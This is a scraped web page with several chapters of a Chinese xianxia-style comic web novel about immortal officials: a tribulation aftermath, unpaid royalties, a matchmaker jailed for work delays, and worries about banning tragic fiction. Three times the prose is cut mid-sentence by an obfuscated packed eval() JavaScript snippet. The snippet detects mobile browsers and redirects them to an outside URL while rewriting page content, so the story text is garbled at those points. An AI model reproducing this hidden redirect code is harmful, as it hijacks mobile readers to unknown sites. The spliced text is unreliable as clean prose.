于是他趁其不备，抽出随身的短刀，干脆利落地扎进扶疏的心脏，毫不犹豫地拔出扎下数次，直到确定对方没有生还的可能。 他冷眼看着扶疏不可思议地盯着他然后咽气。那个眼神他这辈子都忘不了，那是仇恨的眼神，愤怒的眼神，后悔的眼神…… 那双眼睛跟淬了毒似的瞪着他，他死寂的心居然砰砰跳动起来，第一次有了他不明白的强烈情绪—— 梦到这他就醒了，打着寒噤醒的。 看见古朴素净的顶棚，小扶疏一下子没反应过来自己在哪儿。 他缓缓起身，环顾四周——就看到暖黄的阳光下，一个雍容妇人捏着白瓷杯垂眸低思。阳光将她的轮廓照亮，杯中氤氲的水汽蒸腾，将其柔和的侧脸染得更加温暖。 “……扶疏姐？” “嘘！我这个角度是不是可好看了！” “……” 老板扶疏仰头一口气干了杯中的热茶，笑嘻嘻地转向床上的人：“要找一个完美的角度真不容易！你运气不错，我刚找到你就醒了，省得我僵在这里等。——哎你怎么不说话？难道被雷劈傻了？” “……没有，我只是做了个梦。”小扶疏软了语气。 “什么梦？噩梦？” “可能……是因为渡了次劫，我突然想起了过去的事……”小扶疏不安地看向对方，“扶疏姐，我杀你的时候……你是不是特别恨我？是不是，特别后悔救我？” 扶疏愣住。 过去那么久的事，她没想到小扶疏还会主动提起。 她以为小扶疏很忌讳这件事，所以这么些年都没解释过……看来，在轮回镜中他真的遇到了震撼灵魂的事了。 扶疏沉默片刻，缓声：“你认为……我当时是这么想的？” 小扶疏顿住，艰难点头：“那时候我以为你要杀我，所以我决定先下手为强……后来我才知道你不是想杀我，是想带我逃跑，想救我……我永远记得你临死前的眼神，充满恨意……” 那时候，扶疏刚刚咽气，便天降圣光照亮了那片山头，让他看清了身后的大批追兵。紧接着，无数仙者从天而降，与追兵展开争斗。混战结束，仙者们以压倒性的实力胜利，且将黑恶势力的老巢一窝端了。 小扶疏愣在原地，直到仙者之首林鸿过来查看扶疏的遗体，他才慢慢反应过来，扶疏是想救他，不是害他。 “我知道真相后立刻就后悔了真的……我不想杀你的……我真的不想……我要怎么做才能弥补……我不知道……” 扶疏见小扶疏忽地捂脸哭，心里堵得慌。 她活了一大把年纪，到现在也不知道怎么安慰人。 林鸿不是说只是让她劝小扶疏不要记恨司劫嘛！没说还要哄孩子别哭啊！ 扶疏赶紧过去拍他的背哄他，轻声细语解释：“没有没有，我早忘了那事了，你别放在心上了！——哎真要说起来，那事给我的打击还没有你改成我的名字给我的打击大呢！” 小扶疏止了哭，傻乎乎地抬眼看她。 扶疏：“哎呀我说真的！我刚成仙就死了，林鸿给我治了五六十年我才醒，我一醒来就发现你改名叫‘扶疏’，可把我气坏了！你叫扶疏那我叫啥？还好林鸿让大家喊你小扶疏，扶疏还是我，不然我当场就和你决裂了！” “可……不过是一个名字，比我杀了你还严重？” “那可不只是一个名字啊！这个名字包含了我所有 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小扶疏目不转睛地盯着她许久，终于羞涩别扭地回了她一个手比爱心。 “嗯。” 扶疏张开大大的笑容，怒搓对方脑袋，直把小扶疏揉成“怒发冲冠”的模样。 扶疏：“看来司劫的水平很高嘛！走了这一遭，让你成长这么多！” 听到“司劫”二字，小扶疏瞬间变了脸色，起身就要走。 “对了……我要回去，我要找她，我还没有……她会难过的，她一定是郁郁而终的……灼春那个混蛋！我要将她碎尸万段！” “站住！” 小扶疏刚走到门边就被扶疏喝住。 小扶疏：“我有事……” 扶疏眉头一皱：“我让你回来！” “……” 小扶疏拉拉个脸，不情不愿地一步一步挪回屋子中心，垂下头，背着手，瞧着自己肚子。 “刚夸你懂事，立马就幼稚了是不？”扶疏叹了口气，“人司劫工作不好吗？你没成功渡劫吗？法力回来了，实力提升了，心结打开了——你说你还找人家司劫麻烦干什么？不许去，听话。” “可是、可是……”小扶疏不服气地小声还嘴，“可是她太狠了！我、我都有阴影了！我控制不住自己地会回忆起镜中的经历，日思夜想的，以后还怎么活啊……” “那我也跟你说个事。你知道，我是厨神嘛，众人皆知做饭好吃。然后有个客人，过来说我做饭太好吃，害他长胖，胖得走不动道了，要把我酒楼砸了，你觉得他说的有道理吗？” 小扶疏怒上眉梢，扬起拳头问这不知好歹的家伙是谁，他去教训他。 扶疏说：“对啊，客人克制不住自己吃多吃胖了，怎么能怪厨子手艺太好呢？是吧，不知好歹的小扶疏？” 小扶疏：“……姐你……” 扶疏又说：“我再问你嗷，之前百捷帮你司劫，害你法力低微，你是不是和现在一样生气？” “唔……差不多？” “那你为什么从来没说要找百捷麻烦，要跟他打架呢？” “……” 扶疏笑：“现在知道不好意思了？那就别干欺软怕硬的事。——听姐的，别找司劫麻烦了，啊。” 小扶疏臭着脸答应，但扶疏还嫌不够，非要他发誓。 扶疏：“来来来，跟着我说——我小扶疏保证，不会因为灼春给自己司劫的事找她麻烦！” 小扶疏不情不愿地跟读：“我小扶疏保证，不会因为灼春给自己司劫的事找她麻烦……” “否则，就让小扶疏再也吃不到扶疏做的菜！” “否则，就让小扶疏……嗯？？姐！？” “哎，别停啊，跟着念！” “……就让小扶疏再也吃不到扶疏做的菜……” “嗯，完工！” “……哼。” 23. 飞来横祸 接到林鸿说小扶疏被搞定的消息，灼春这才开始安心给人司劫。只是她设置的自动化灵盘还是有些问题，始终达不到“无人司劫”的程度，这令她很苦恼。 花了大半个月，灼春终于迎来了预约名单上的最后一位仙者，胜利的曙光就在面前，她接待起客人都格外热情。 “好久不见！最近过得还行吧？” “真不好意思让你排了这么久的队……” “您想要怎样的效果啊？咱们这是最后一道，我保证给你安排得妥妥的！” …… 和对方确定了渡劫要求，送人进轮回镜前，灼春看到人家腰间挂了一串从未见过的奇怪禁步，不由得好奇问问。 紫衣仙者笑道：“这个是根据最近很火的那个……《镜中纪事》里的人物形象做的禁步，很火的！我本想买顾禾的，但是抢不到，只能挑顾禾沈莲双人的了——哎你不是和鸣桐联合出品的吗？不知道？” 灼春还真不知道。 她除了提供故事，别的什么都没管。别说她，估计鸣桐也不清楚。这种花里胡哨坑人钱的主意只可能是吉吾想的。 不过她就奇了怪了，书卖得火，怎么跟书搭边的奇奇怪怪的东西也能卖钱啊？ 但这事给她提了个醒，她是时候问吉吾要工资了。 将紫衣仙者送进轮回镜，放上相契合的灵盘，将时间流速调到最慢，灼春就往金钱殿去了。 工作不可以没效率，也不能太有效率。没效率会被批评惩罚，太有效率会到手更多烦人工作。不急不缓方能长久。所以司劫的最后一个任务可以拖拖时间，免得林鸿见不得自己闲，又让她干其他的兼职。 到了金钱殿，吉吾看见她还挺热情，一口一句财神，一声一句问候。 灼春丝毫不为这些虚名所迷惑，淡定问：“客气归客气，该拿的还得拿——我的银子呢？” 吉吾歪头，一派天真：“什么银子？” 灼春眯眼瞧她：“姐姐，你这就没意思了！所有人都知道我和鸣桐联合创作了《镜中纪事》，哪怕我的贡献没她大，拿的工钱没她多，你也不能把我的钱全昧了呀！我不问你要你就不给我了？” 吉吾呵呵笑着，眨巴眨巴眼：“那个……灼春啊，你的工钱……还真没有。” “……你等会儿！” 灼春扭头给鸣桐发消息问她有没有拿到钱，拿了多少钱。鸣桐很快就回复了，说自己本来不打算要的，但吉吾硬要给她分，先给了二十两，还说以后每年都有分红。 二十两！！ 分红！？ 还每年！？ “……” 灼春回头怒视吉吾：“鸣桐都跟我说了！她早拿到钱了！凭什么我没有！就算没有二十两那么多，十两总有吧？没有十两，二两也凑合啊！” 吉吾自然看清了她俩通讯的全过程，不慌不忙反手展开一份合同。 “忘了？我们早白纸黑字写清楚了，你的第一本书全部收益都、归、我。” 灼春：“……” 可不可以后悔？她当初也没想到会火成这样，以为顶多不扑，要后几本才会起来…… 灼春忽地想起什么，问：“你跟鸣桐签合同时没坑她？” 吉吾：“我坑她干嘛？” “那你坑我干嘛！”灼春怒道，“合着你就逮着我一只羊薅啊！？是谁！谁派你来的！？” “是命，不公平的命派我来的。” 吉吾棒读配合她，随后嘿嘿一笑替自己解释、给她出主意。 “在出书之前我也不知道会这么火不是？肯定不是我想坑你，只是你命不好，正好撞我枪口了。咱们以后还得合作呢，我把你坑走了从哪儿赚钱？” 她接着说：“你有这闲工夫，与其跟我闹，不如抓紧时间构思下一本交给鸣桐，到时候我卖出书，你不就能拿到钱了？时间就是金钱呐，财神大宝贝！” ——有道理。 灼春撇嘴：“那你还得给我当帮手读大……” “嫌疑犯偶仙灼春，已逮捕！” 灼春的“纲”字还堵在喉咙里，突然就被人从背后偷袭，“哎呀”一声被摁在地面，双手被反剪到后背，任她怎么挣扎都抽不出手。 平日里光看百捷这么对待别人了，不料自己成为被压的那个这么难受…… 豆眉女子面无表情地伏跪在灼春背后，右腿膝盖顶着她交叠的掌心。 “谁！？谁偷袭我！？” 灼春奋力扭头想看是谁，但是脖子转不了圈。 “慎刑殿掌刑夏至凛，奉命捉拿嫌疑犯偶仙灼春，闲杂人等通通退避。” 豆眉女子从灼春头上悬下一张执司证，待她看清后又拿着证件向左右展示。这样一来，原本犹豫不决想要凑过来帮忙的执司们都知趣地继续做自己的事。 灼春不明所以：“慎刑殿的？可你抓我干嘛！我这段时间一直都在家，能犯什么事！” 夏至凛的声音没有情绪：“偶仙灼春，拖延工作，导致人命官司，不可饶恕。具体情况等你被押回慎刑殿大堂再细说。” 听到“拖延工作”的罪名，灼春脑子一阵嗡鸣。 不是吧……慢点干活也要被抓？ “夏掌刑！！” 吉吾忽地扑过来抱住灼春的头，恓惶问来人：“她犯的罪严重吗？会死吗？可以和外界沟通吗？会不会影响到她的工作产出？” 夏至凛漠然道：“若罪名属实，那等待她的将是在慎刑殿为期十五日的劳改教育。劳改期间不能和外界交流，劳改结束就没有影响。” “哦，不影响她工作就行。” 吉吾猛地撒手，一改刚刚关切的模样。在夏至凛捆走灼春前，还满不在意地抚摸她的脸，嘱咐她在牢里好好构思故事，不要玩物丧志。 灼春无声地骂脏话。 呸！无情的资本家！ 灼春被掌刑夏至凛带回慎刑殿，跪在堂下听她身边的冷面少年悉数自己的罪行。 “……偶仙灼春，拖延工作，未及时处理张某与其丈夫的结束婚姻请求，使得张某丈夫有充分的与张某接触的时间和相处机会，间接支持了张某丈夫的杀妻行为。因此，慎刑殿宣判，偶仙灼春，于慎刑殿劳改十五日。——犯人灼春，可有异议？” 怎么可能没有！ 灼春当即表示反对：“离婚这种事我怎么可能拖！哪怕当时我的下属因为不知道怎么处理拖了一会儿，但我知道后立刻就过去处理了！离婚案子有一起算一起，我都让我下面的人处理了不可能拖延！你们是不是调查错了？” 她非常怀疑这个夏至凛新官上任三把火，先拿自己这个籍籍无名的仙者开刀震慑他人——又或者是她被那些老盯着投诉自己的同事们给暗算了！ 冷面少年转向堂上的夏至凛，不带任何情绪地转述了灼春喊冤的话。 夏至凛神色淡定地一拍惊堂木：“传证人！” 紧接着，麻惠良和程冰津两个人就被押上公堂。程冰津还好，依然是从容磊落的模样——不像另一个，已经哆嗦到没有血色了。 灼春看着俩小孩跪在自己身边就心疼，忍不住指责慎刑殿的人欺负小孩。 “犯人灼春收声！”夏至凛厉声，“麻惠良，程冰津，我问你们，张某的离婚信息登记可是你们负责的？” 两人点头。 夏至凛：“那么，拖延着没有登记，耽误了张某离婚的，可也是你们？” 两人对视一眼，再次点头，只不过一个坦然，一个瑟缩。 夏至凛：“那我再问，你们为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950213|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖——” “行了夏掌刑，我认罪，我接受劳改，没有异议。” 灼春垂头丧气地打断了夏至凛的问话，直接认罪。 现有的两个回答已经足够证明情理所的错了。 或许张某的直接死因不是她们，连间接都算勉强。可她们作为职能部门的成员，没有将事情做得无可指摘，就已经是错。 再问下去也不会有别的结果，总不会有谁丧心病狂地过来哄骗、强迫小麻她们拖延工作。程冰津她不了解，对小麻她还是有数的。这孩子实诚，不敢干规章制度外的事。 虽然不知什么原因令她俩都没有及时完成工作，但不管出于什么原因，她作为情理所的一把手，都有不可推卸的责任，至少是一条没有交代清楚工作的罪。 再者说……如果她不承担责任，细究到最后就是俩小的承担。那都是小孩，没自己皮糙肉厚，劳改一回一辈子都有心结。不如等她劳改出来问清楚，再好好教育。 灼春正式被带走收监前，在堂上提醒麻惠良和程冰津，要吸取教训，结束婚姻关系的申请绝对不能拖。两人小鸡啄米似的点头，生怕显不出她们的诚意。 目送上司替自己“顶罪”，麻惠良内心深感不安。 都怨她……如果不是她想逃避和人交流，自作主张拉程冰津增加一道审核程序，也不会闹到现在这个地步…… “犯人灼春，你与犯人任至建一个牢房。” 夏至凛把换了囚服的灼春推进一间二人牢房。灼春瞅了一眼那个抠脚中年男，十分嫌弃。 “哎哎哎！夏掌刑，你是不是弄错了？我的室友怎么能是男的呢？性别不同怎么当室友？”灼春勾着栅栏与她说话。 夏至凛不客气道：“装什么普通凡人。仙者早没有生殖器了，严格意义上不分男女。” 灼春：“我当了一辈子女性，成了仙你还让我换个性别么？哎呀您老行行好，给我挑个女室友吧！哪怕是十恶不赦的连环杀人犯都行！” 夏至凛靠着栏杆双臂抱胸：“牢里罪犯近十成都是男的，唯一的女性就是你——你让我怎么给你变个女性室友出来？” 接着，她补充了一句“监牢资源紧张，没有单人间供你住”，便背对她摆摆手离开了此处，留下灼春抱着栏杆对出口望眼欲穿。 你大爷的夏至凛！你最好一辈子别成仙！否则迟早落她手里，要你吃不了兜着走！ 灼春想起家里还在轮回镜中的仙者，感叹还好自己偷了懒，把时速调到最低，否则她劳改期间没人看着，轮回镜哪能撑十五天……正好，关进这里与世隔绝，不如趁机思考一下怎么实现自动化灵盘的技术关隘还有下一本书的内容。 她挂在栏杆上许久，终于磨磨蹭蹭地翻身走回牢中，坐在离自己室友最远的对角线处。 “……哎，伙计，你犯什么事被抓了？要劳改多久啊？” 无聊下，灼春主动和室友搭话。 对面中年男终于不抠脚了，懒洋洋地抬起头：“我没犯事，我是良民，她们冤枉我，我没罪。” 嗯嗯嗯，对对对，冤枉冤枉…… 你看她信不信吧。 慎刑殿的人是冷酷无情，但绝不会冤假错案把无罪的人关进监狱，对相睦会的这点自信她还是有的。 灼春敷衍：“那你是被冤枉了什么才被关进这里的呢？” 中年男打了个哈欠：“我老婆要跟我离婚，我不同意。然后她主动撞到我手里的刀，溅了我一身血死了。这里的官非说是我杀了她，嘁……” “……借问一句，你老婆姓啥？” “姓张吧。问这干嘛？” “……嚯。” 冤家路窄，慎刑殿的人这是给自己报复的机会？ 不小心……还是故意的？ 24. 什么取缔 吉吾料到《镜中纪事》会挣钱，没料到它能这么挣钱。 看到市场反馈后，吉吾当机立断，组织金钱殿的执司们一起构思与《镜中纪事》相关的商品。于是书热卖后没几天，金钱殿就推出了一系列周边商品，甚至和皮影戏匠人们合作，将书编成皮影戏，将势头再往上推了一把！ 吉吾将赚得的理应归属于金钱殿公账的钱放入库中后，一连数日，殿中所有执司都喜气洋洋的，逢人三分笑，连对各部门拨款的请求都宽容许多。 吉吾高兴归高兴，心里还是有疙瘩。 这次畅销实属意外，如果她早知道这样，绝对能安排一场酣畅淋漓的搂钱计划，而不是像现在这样临时且被动，好多钱都没赚到。 这不灼春又在想新故事了？她打算磨刀擦枪，预备一整套流水线计划，将下一本的利益挖到极致！ “……司库，荼城救济院的董院长亲自过来申请一笔拨款，金额巨大，超出该年预算，所以我们不敢做决定。” 吉吾手下一个执司过来报告。 救济院啊…… 吉吾对董礼董院长这人还是有了解的。此人由她一手提拔，还是荼城救济院出身，为人淳朴，踏实肯干，而且有股倔劲，若不是迫不得已，不会寻求他人帮助。 于是吉吾都没看董院长提交的申请，就点头把事交给手下人去做。 “如果要求合理，你们就同意拨款。超出预算的部分从我私库里取，不要耽误人家的正事。” “是。” 吉吾接着做计划，将需要利用金钱殿和其他各部门合作的部分拟了条约，送去给林鸿签字。 销售话本是她的私人行为，赚来的钱照理全进她的私人账目，再按劳分配。但是如果只是她们自己挣钱，一是规模做不大，挣不多，二是会里各部门尤其是她所在的金钱殿，恐怕会有怨言，到时候哪个环节给自己使绊子就得不偿失，还不如一开始就和和气气地有钱一起赚。 吉吾在主殿没找到林鸿，便去了妙回堂——林鸿正在给看病患者做针灸，于是她就安静地候在边上，借了妙回堂的纸笔涂涂写写想着别的赚钱法子。 画了一张又一张，她无意间瞄见藏在底下的一张草稿，上面零零散散的潦草字一看就出自林鸿之手。 “离婚率居高不下……生育率创新低……悲剧文学热销，影响，问号，取缔，问号……” 吉吾看完草稿，惊觉林鸿似乎有取缔悲剧文学的意图。 最近市场上畅销的悲剧文学不就只有一本《镜中纪事》？ “——吉吾，有文件要签是吧？公章还在主殿，你要是着急，待会和我过去一趟吧。” 林鸿做完针灸，嘱咐被扎成刺猬的患者待在此处不要走动，她去去便回。 “你发什么呆啊？”林鸿笑着招呼有些失神的吉吾随自己去主殿，御物飞行之前还给百捷传了音，让她也到主殿去。 到了主殿，林鸿仔细查看了吉吾拟定的合同，爽快地盖章签字，还给她时还目露欣慰。 “相睦会里就你能为我分忧了。促进经济是好事啊，只有经济发展了，百姓的幸福度才会上升。” 吉吾乐呵呵地接过文件，心说，促进经济是好事，那你还想着取缔…… 林鸿：“不过呢，凡事要有个度。卖书是好，不过也要注意多开拓开拓市场，不能一条道走到黑……” 吉吾赶紧表示自己不止研究文学市场，其他什么建筑、民生工程，金钱殿都有专人跟进，一定会把灾潮期间落下的发展追上去。 “……那就好。” 说话间，百捷风风火火地赶到了，立马就问什么事儿。 林鸿取出一份名单给她：“边城那块闹灾怪，前些日子战神已经去那边处理了，但是情况比我们想象的严重得多，战神只带了两个执司人手不够，所以发信点了二十个人。我想着事情越早结束越好，便估摸着让你带着战神要的这二十人一起过去帮一把——你的意愿如何？” “我有什么意见！我去！”百捷拍着胸脯接过名单，翻了翻，嗤笑，“龙缨老人家越活越回去了，区区灾怪竟然磨蹭那么久！早知道你还不如直接让我去！保证三天完成任务！” “哎，说话懂点礼貌，那是你顶头上司。”林鸿嘘了她一声，叮嘱，“你去召集名单里的人，然后走会里的传送阵，越早到越好。——还有，不要掉以轻心，灾怪总体虽然不如灾潮伤害大，但是单个灾怪的灵活性高，难捕捉，你到了那边听从指挥，不要又跟个愣头青一样横冲直撞……” “知道了知道了！” 百捷不耐烦地摆摆手，大步流星地出门。 她每次出征前，掌舵都要罗里吧嗦说同样一套说辞，掌舵只要说第一个字，她脑内都能自动播放剩下的内容了，也不嫌累挺。 百捷走出主殿没多远，就被吉吾驾着算盘追上了。 “百捷你等等，我有话问你。” 百捷边跑边回头，奇怪：“有话快问，我赶着点人救场呢。” “我长话短说——灼春现在在构思《镜中纪事》的第二本了，她好像想写大团圆结局，你觉得有市场吗？” “哈？好好的写什么大团圆？谁喜欢看那个啊！美好的东西看过就忘，刻骨的悲痛永垂不朽。反正要我选，我不选大团圆。就是要痛要深刻，要虐心虐身，虐得死去活来欲罢不能！大团圆一点看头都没有……” 得到答案后，吉吾就不追了，她一个文官，体力法力都跟不上。 算盘浮着卡顿两下，蓦地坠地，吉吾揉着屁股站起来，一瘸一拐往回走。 百捷有超越世间九成人的阅读量，她的意见绝对可以纳入考虑。 她说得对，大团圆肯定没有悲剧来得记忆深刻，唯有记忆深刻才能让读者念念不忘，读者念念不忘了，才能花大把的银子抚慰自己悲痛的心…… 文，必须写悲！ ——可问题是写悲文有可能被掌舵取缔啊…… 唔……掌舵要取缔悲剧是觉得悲剧文影响生育率离婚率，而生育率离婚率又和人们的情爱需求挂钩，所以要让掌舵取消这个念头就得让人们配对率上去…… ——嗐！她一捣腾钱的考虑那么多干嘛！这事不是偶仙的工作范畴么！ “就十五天，探什么监。” 夏至凛冷厉地拒绝了吉吾的请求，让她有什么事耐心等十五天劳改结束后直接找灼春。 吉吾：“好的，我现在去探监。” 夏至凛：“……” 她刚刚说什么了？她同意了？ 夏至凛忍住翻白眼的冲动：“司库，请自重。” 吉吾丝毫不怵，反问她哪条规定里写不允许探监。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950214|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏至凛无言以对。 确实，不管是相睦会的总则还是慎刑殿的殿法，都没有不许探监的规定，前提是和相应负责人报备过。她刚刚的拒绝只是作为个人意愿的“建议”，实际上对方只是来通知一声，拥有拒绝“建议”的权力。 ……懂法的人真可怕。 “……下不为例。” “谢夏掌刑。” 吉吾与夏至凛告辞，立马就去找劳改中的灼春。 坐在探监室等候时，吉吾闲着也是闲着，就和房间里值守的苦瓜脸执司寒暄起来。不料看着沉默寡言的苦瓜脸执司，一旦被搭话，就跟开了闸的大坝似的滔滔不绝。因为吉吾来看的是灼春，所以小苦瓜就说了好多这两天灼春在劳改中的事，譬如劳改的认真度位列榜首，譬如晚上不睡觉写写画画，又譬如忽悠杀妻犯念她写的故事然后引来天雷劈他但是杀妻犯本人却没有相关记忆。 “……我就奇了怪了，偶仙有引雷的能力吗？怎么她那个室友被雷劈后永远不长记性还跟她混呢？”小苦瓜皱着八字眉，“想不通”三个字都快凝聚成实体了。 吉吾托着下巴拖长了声音：“噢——看来你们慎刑殿的殿法不太严格哦？怎么都没封印犯人的法力呢？” 小苦瓜：“照理说已经封了呀？连她的纸笔都是问我们要的呢……不过新上任的夏掌刑确实说过我们的殿法不够完善，好像说……对待囚犯太宽容？” 吉吾点点头，深有同感，对夏至凛的观感骤然上升不少。 慎刑殿没有死刑，只有劳改，还是那种遵循八小时工作制、一日三餐一荤一素一汤一水果的健康作息的劳改——前段日子她建议代理掌刑延长工作时间，现在应该又变回去了——大部分被逮捕的普通犯人，只要经过一定时间的劳改就刑满释放。不管多么罪大恶极，最多就是延长劳改时间，就连劳改的内容和形式都没怎么改变——除了之前她借去给战神练手那些。 她一直觉得慎刑殿的殿法太过柔和有待改进，可惜历任掌刑都把重心放在判案抓人上，没过多注意殿法本身，而她是其他部门的，有意见也不好跨界提，一不小心就会造成部门之间的冲突，上次她能参与只是因为代理掌刑比较好说话，而且掌舵睁一只眼闭一只眼——新法的建立需要掌舵审批同意。 “夏掌刑老念叨死有余辜的犯人应当承受严酷刑罚，但是我们好多人都觉得她的想法太偏激，犯人也是人，不能做得太过火，犯人会有意见……” 小苦瓜又叨叨了夏至凛一意孤行要把灼春和杀妻犯关在一起，吐槽她也不怕偶仙被杀妻犯伤害，接着又说夏至凛来了慎刑殿后全殿的同事都惶惶不可终日，每天都被她呼来喝去更忙碌了…… 灼春被推进探监室后，小苦瓜终于闭嘴，按规矩提醒只有一刻钟的探监时间，让她们不要惹事要抓紧时间，自己一刻钟后准时来带走灼春。交代完，小苦瓜就关上门出去，把空间留给她们。 灼春手脚上全戴着镣铐，但气色比在外头好得多，容光焕发。她坐到吉吾对面，随意地昂头，问吉吾有什么急事，要是问小说的事，那么她已经快把大纲改完了。 吉吾咳了一声：“我们时间不多，我长话短说——我无意中发现，掌舵有取缔小说市场的意向——因为百姓的配对率不高生育率很低，她觉得我们畅销的《镜中纪事》加重了百姓的悲观意愿。” 25. 偶仙小会 “老大疯了？怎么能一刀切！比起消灭间接影响因素，她倒不如去管管直接对象！她这么能，怎么不直接下发文件定个指标，让百姓们噗噗下崽，每人每年一个崽？” 灼春听了忍不住阴阳怪气林鸿。 她觉得林鸿就是成仙太久，太不了解民情了！哪有人会因为一本小说随便改变自己的生活方式啊，又不是盲目从众的羊来的！ 吉吾没顺着她的话说，也没反驳，只叮嘱她先别忙着写大纲了，若不打消林鸿的念头，就算大纲写出来了、交给鸣桐成书了，回头发不进市场赚不了钱还只是竹篮打水一场空。 灼春郁闷：“那我能怎么办？人家是掌舵，是相睦会老大，我就一小小偶仙——最多加一小小司劫——我说话她也得听啊……难不成让我一哭二闹三上吊去？” “你倒是敢做，掌舵又不是你老婆，哪儿管你哭不哭闹上不上吊的。”吉吾提醒她，“别忘了你的职位，帮人配对你还不成吗？只要配对率上去，总有人愿意生育，那生育率不就上去了？到时候掌舵哪儿还会记得取缔不取缔的事儿。” 偶仙恍然大悟，这不聪明一世糊涂一时了！幸亏吉吾提醒她！最近都在忙司劫，都忘了自己作为偶仙的本职工作了。 灼春：“那我……” 小苦瓜忽地叩开探监室的门，拉开半扇门，让她们注意时间，接下来还有人要探监。 灼春诧异：“今儿什么日子，居然还有人找我？” “啊？”小苦瓜一愣，当即明白对方误会了，连忙解释，“不是你，是你室友。他的母亲父亲要来探望他，就在对面等着——喏，你室友也等在门外呢。” 小苦瓜偏侧身子，露出一个爆炸头的黢黑人形物，随后又说了让她们抓紧时间的话，便合上门。 灼春回头，发现吉吾捏着下巴神情凝重。 “哎，想什么呢？” 灼春伸手在她眼前晃晃，而对方并没有被干扰的样子，依然思考得很专注。 “……那是你室友？那个害你入狱的罪魁祸首杀妻犯？”吉吾问。 “是啊，怎么了？” “你是故意让他念书……被天雷劈的？” “……现在是法治社会，你造谣是要有证据的，否则我告你诽谤！” 吉吾往灼春面前凑了凑，压低声音：“要不要合作挣钱？” 灼春：“啊？我们不是已经在合作了吗？” “我说的不是写书。”吉吾瞟了一眼灼春身后的门，提议，“我们合作开一个烫头店吧！我出钱开店，你负责利用天雷给顾客烫头，挣到钱咱俩二八劈——这可是无本万利的好买卖！” 灼春：“……” 灼春：“姐妹，什么钱都赚小心天打雷劈。” 她再一次感慨，得亏吉吾进了相睦会，否则当个奸商活在世上对社会没一点好处。 吉吾交代完灼春就离开，留下灼春在慎刑殿大牢里一边做苦力一边苦恼怎么提高配对率。 就算吉吾不来说，她也要抽空琢磨琢磨这个事，因为今年离婚案子太多，业绩早就不行了，必须补救。 但是她越努力思考，越察觉自己大脑空空，配对的事儿没有一点头绪，倒是自动化灵盘的技术性难点被她想通了不少，就等出去实操。 “室友啊，你明天就走了，我还真有点舍不得。” 劳改的最后一晚，灼春盘腿坐在牢房里，抬头看天窗外被栏杆隔断的月亮，接着，她的室友，也就是那个杀妻犯忽然出声表达遗憾。 灼春懒得应付人渣的伤春悲秋，直接把之前没改完的故事大纲递给他，让他自己念睡前故事。 杀妻犯接过纸，在念之前感慨：“这十五天你每天都给我写睡前故事，你的心意我明白，只可惜我们今生无缘——说来也怪，虽然我每次都睡得很香，但第二天醒来就是记不住故事内容……” 杀妻犯念两句，啧啧啧批判两句，对灼春指指点点，如此两遍，忽地“轰隆”一声，接着他就顶着一头更蓬松的爆炸头“酣然入睡”。 灼春斜他一眼。 可不睡得香么？都被天雷劈晕了。 和仙者的体质比起来，凡人还是太弱了呀——据这杀妻犯自己说，他天生凡体，无法修仙，称世道不公欠他良多。还说他的妻子老仗着自己修习法术瞧不起他，所以他才被逼无奈自卫…… 前言不搭后语，漏洞百出，灼春都懒得戳穿他。只可惜这是最后一次借天雷劈他了，这种人渣…… 次日灼春出狱，夏掌刑亲自出来送她。 听慎刑殿的执司们说，能得夏掌刑亲送是巨大的殊荣，因为夏至凛向来都是平等地无视所有人的。能让她亲自护送，整个慎刑殿的人都震撼失声了。 灼春不知道自己哪里得了对方青眼，反正……被一座冷面冰山护送离开压力蛮大的。 灼春本来是想去情理所，但是走了两步忽地记起轮回镜里还有个仙者在渡劫，不得不回去看看情况。 多亏了她提前研制自动化灵盘，临走前又调整流速，所以镜中仙者状态还不错，起码道心还很稳定。 回都回来了，灼春一想，便将在狱中想通的东西全部用在灵盘上看看效果。 一录入，一运行，一思考，一修改，不知不觉就过了一天一夜。 灼春中途喘口气看天，才想起另一件正事，连忙收拾收拾东西，调整灵盘和轮回镜，施法将自己快速传送到情感轮回所。 灼春：“孩子们！紧急会议！” 将麻惠良和程冰津召集起来，灼春开始讲述部门现状与遭遇的问题，当务之急是促成相亲配对，并向她们提问，是否有具体行动方案。 麻惠良左右看看，低下头不说话；程冰津接到灼春的眼神，摇了摇头，说自己还不熟悉这些。 灼春见大家没有好的意见，只好按照以往的经验来——挨家挨户敲门推荐相亲！ “上门推荐的时候要注意工作秩序，首先要出示自己的执司证，然后做个简短的自我介绍，接着……” 灼春讲完流程，让二人模拟了一遍，就开始分组，麻惠良和自己一起去敲女方家的门；程冰津则去找男方。 不过结果并不好。 灼春带着麻惠良吃了好几回闭门羹，就算有人开了门，愿意和她们聊聊，一听到相亲，主人家就赶紧婉拒了。 灾潮不都过去了吗？为什么大家结对的意愿还是不高呢？ 灼春头疼。 麻惠良在她身后小声嘟囔：“大家生活都成问题，谁有闲情谈情说爱啊……” “大家的生活过不去吗？没听说哪儿吃不起饭要饿死了啊？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 